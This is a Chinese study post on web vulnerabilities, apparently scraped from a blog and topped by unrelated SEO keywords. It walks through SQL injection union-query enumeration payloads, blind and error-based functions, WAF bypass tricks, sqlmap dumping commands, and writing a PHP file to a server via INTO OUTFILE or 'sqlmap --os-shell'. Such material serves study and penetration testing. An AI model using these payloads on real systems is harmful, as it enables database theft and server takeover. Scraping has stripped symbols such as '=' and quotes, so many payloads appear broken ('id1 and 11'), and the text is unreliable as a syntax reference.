女生做网站前台,代做ppt网站,自定义网站建设团队,wordpress get_post文章目录 基础知识同源策略 常见web漏洞SQL注入漏洞 web中间件 基础知识
同源策略
同源策略是目前所有浏览器都实行的一种安全政策。A网页设置的 Cookie#xff0c;B网页不能打开#xff0c;除非这两个网页同源。所谓同源#xff0c;是指#xff1a;协议、端口、域名相同… 文章目录 基础知识同源策略 常见web漏洞SQL注入漏洞 web中间件 基础知识
同源策略
同源策略是目前所有浏览器都实行的一种安全政策。A网页设置的 CookieB网页不能打开除非这两个网页同源。所谓同源是指协议、端口、域名相同。
常见web漏洞
SQL注入漏洞
1、SQL注入漏洞原理Web应用程序对用户输入数据的合法性没有判断前端传入后端的参数时攻击者可控的并且参数带入数据库查询攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。简单来说就是前端传给后端的参数用户可控传入的参数被拼接到SQL语句且带入数据库查询。
2、SQL注入分类
以有无闭合字符分类字符型、整数型以数据传输方式分类post类型、get类型注入方式细分联合查询注入、报错型注入、布尔型盲注、时间型盲注、宽字节注入
3、联合查询基本步骤 id1 //报错说明有注入点id1 and 11 # //正确id1 and 12 # //错误说明是数字型注入否则为字符型注入id1 order by 数字 # //判断字段数id1 and 12 union select 1,2,3, ... # //查看回显点id1 and 12 union select 1,2,database(), ... # //查看数据库名id1 and 12 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema数据库名) # //查看表名id1 and 12 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema数据库名 and table_name表名) # //查看字段名id1 and 12 union select 1,(select group_concat(concat(字段1,%23,字段2)) from 数据库名.表名) # //查看字段内容4、报错注入常用的函数 updatexml()、extractvalue()、floor()
5、mysql默认存在的哪个数据库注入时经常用到 mysql5.0之后mysql默认存放Information_schema在该库中有三个重要的表SCHEMATA、TABLES、COLUMNS。
6、时间盲注特点常用函数 场景应用于无数据回显无报错布尔型盲注失效后 。 特点时间型盲注页面没有明显的回显只能根据页面刷新时间的长短来去判断构造语句是否正确。 常用函数sleep()、benchmark()、if(expr1,expr2,expr3)
7、布尔盲注特点常用函数 特点根据页面正确和错误的两种状态来判断构造语句是否正确。 常用函数length()、substr()、ascii()。
8、宽字节注入 原理当数据库编码为GBK时且传入的引号被\过滤可以尝试宽字节注入。例如传入%df服务端对引号过滤即添加反斜杠为%df\带入数据库查询前经过GBK编码为運反斜杠被吃掉。
9、Sqlmap基本用法
sqlmap
sqlmap -u url //-u选项是检测注入点
sqlmap -u url --dbs //--dbs选项是列出所有数据库名
sqlmap -u url --current-db //--current-db选项是列出当前数据库的名字
sqlmap -u url -D 数据库名 --tables //-D是指定一个数据库 --tables是列出这个数据库的所有表名
sqlmap -u url -D 数据库名 -T 表名 --columns //-T是指定表名 --columns是列出所有的字段名
sqlmap -u url -D 数据库名 -T 表名 -C 字段名 --dump //-C是指定字段 --dump是列出字段内容10、SQL注入绕WAF姿势
大小写绕过例如and 11写成And 11;上写绕过例如anandd编码绕过。注意编码绕过的关键是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。内联注释绕过例如/*!and*/会被解析为and关键字特殊函数替换floor() updatexml()extractvalue()
Substring() Mid()Substr()Lpad()Rpad()Left()
concat() concat_ws()group_concat()
limit 01 limit1 offset 0
and
or ||like
sleep() benchmark()%00截断绕过例如?a1%00.id1and sleep(3)部分waf在遇到%00会认为参数读取已经结束
参考WAF机制及绕过方法总结注入篇
11、什么样的网站可能存在sql注入漏洞
和数据库有数据交互的这种网站比如一些用phpasp这一类动态脚本写的网站还有就是伪静态的网站虽然看着是html的网站但是实际上是动态网站和数据库有数据交互。
简单来说就是注意与数据库有交互的地方可能存在SQL注入。
12、SQL注入挂马 前提条件 数据库当前用户为root权限 # 第一种方法
select group_concat(user,0x3a,file_priv) from mysql.user;
#出现Y这就代表你有文件权限N就是没有# 第二种方法
select user(); # 查看当前用户# 第三种方法
sqlmap.py -u URL --is-dba # 查看当前用户是否为root用户知道当前网站的绝对路径 PHP的magic_quotes_gpc为off状态 magic_quotes_gpcon说明php开启魔术引号如果输入的数据有单引号’、双引号”、反斜线\与 NULLNULL 字符等字符都会被加上反斜线。 写入的那个路径存在写入权限。 主要关注secure_file_priv参数。 secure_file_priv为NULL禁止导出文件secure_file_priv
secure_file_priv指定地址限制导出地址只能在此secure_file_priv“D:/”
secure_file_priv为空可以导出到任意文件secure_file_priv基于union联合查询
?id-1 union select 1,?php phpinfo();?,3 into outfile /tmp/shell.php --
?id-1 union select 1,?php phpinfo();?,3 into dumpfile /tmp/shell.php --因为linux下不是所有用户在/var/www/html下都具有写权限所以这里只能写到/tmp目录下。 基于union联合查询
into outfile /tmp/shell.php fields terminated by ?php phpinfo(); ? --sqlmp.py -u url --os-shell # 获取shellweb中间件
关于web服务器、web中间件、web容器之间的区别web服务器、Web中间件和Web容器的区别 简单来说
Web服务器主要处理静态文件服务提供基本的HTTP请求和响应功能。Web中间件提供丰富的功能和服务包括处理动态内容、业务逻辑、安全性等。Web容器是Web中间件的一部分专注于执行和管理Web应用程序的动态内容如Servlet和JSP。
其实我们不用将这些概念分得这么细暂且都叫web中间件只需要知道web中间件上对应的语言类型即可。 常见的中间件类型
ASPIIS
PHPApache、Nginx
JavaTomcat、Weblogic、Jboss、WebShere、GlassFishJSP与javascript JSP文件以.jsp为后缀是用于开发动态Web页面的Java技术允许在HTML页面中嵌入Java代码。当JSP文件在服务器上被处理时其中的Java代码被编译为可执行的Servlet。JavaScript文件以.js为后缀是一种脚本语言用于在Web浏览器中实现交互性和动态性。它通常用于在HTML页面中编写脚本代码以实现各种功能和交互效果。 待续。。。。